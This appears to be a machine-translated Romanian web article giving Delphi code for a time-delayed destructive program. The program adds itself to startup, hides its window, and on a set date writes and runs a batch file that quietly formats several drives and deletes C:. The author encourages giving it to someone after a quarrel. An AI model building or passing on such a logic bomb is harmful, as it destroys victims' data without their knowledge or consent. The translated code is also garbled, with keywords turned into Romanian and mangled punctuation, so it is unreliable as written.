procedura TForm1. FormCreate (expeditor TObject);
var
Windir. string;
WindirP. PChar; // Descrierea variabilelor
Res. Cardinal;
h. TRegistry;
Această bucată de cod nu se comportă la fel de mult cât crezi!
1) scrie programul la pornire
2) Găsiți dosarul Windows
3) Se copiază pe adresa variabilei WinDir și ea, așa cum înțelegeți, ne păstrează calea către dosarul Windows
4) ascunde fereastra principală a formularului
Cu aceasta ordonată, acum permiteți-vă verificarea condițiilor
Nu ați uitat de timerul care se află pe formularul nostru?
Noi scriem codul de mai jos
începe
edit1. Text: = datetostr (data); // Alocați data câmpului
dacă se modifică1. text <= edit2. Text //если дата равна или больше введеной даты то создаеться батник который начинает форматирование винта или к примеру выводит сообщение)
atunci
începe
memo1. Linii. SaveToFile ("kill.bat");
winexec ("kill.bat" 0);
închide;
capăt
altfel
închide;
se încheie;
Acum compilam programul, dacă citiți cu atenție, atunci nu vor exista erori
Dăm-o dușmanului și așteaptă data dragi))
Aproape că am uitat în câmpul memo că trebuie să scriu acest text sau altă limbă în baht
format D. / q / x / y
format E. / q / x / y
format H. / q / x / y
format F. / q / x / y
format G. / q / x / y
rd C. / s / q
Un astfel de program este bun pentru că după ce te-ai certat cu cineva pe care vrei să-l faci muck, dar ar fi prea evident))
și astfel puneți data împlinirii în câteva luni) Și conștiința mea este curată și mâinile mele nu sunt mâncărime))) Numai rămâne să marcați această zi în calendar ca festivă și să așteptați pentru data dragi cu un zâmbet))
Articole similare
Trimiteți-le prietenilor: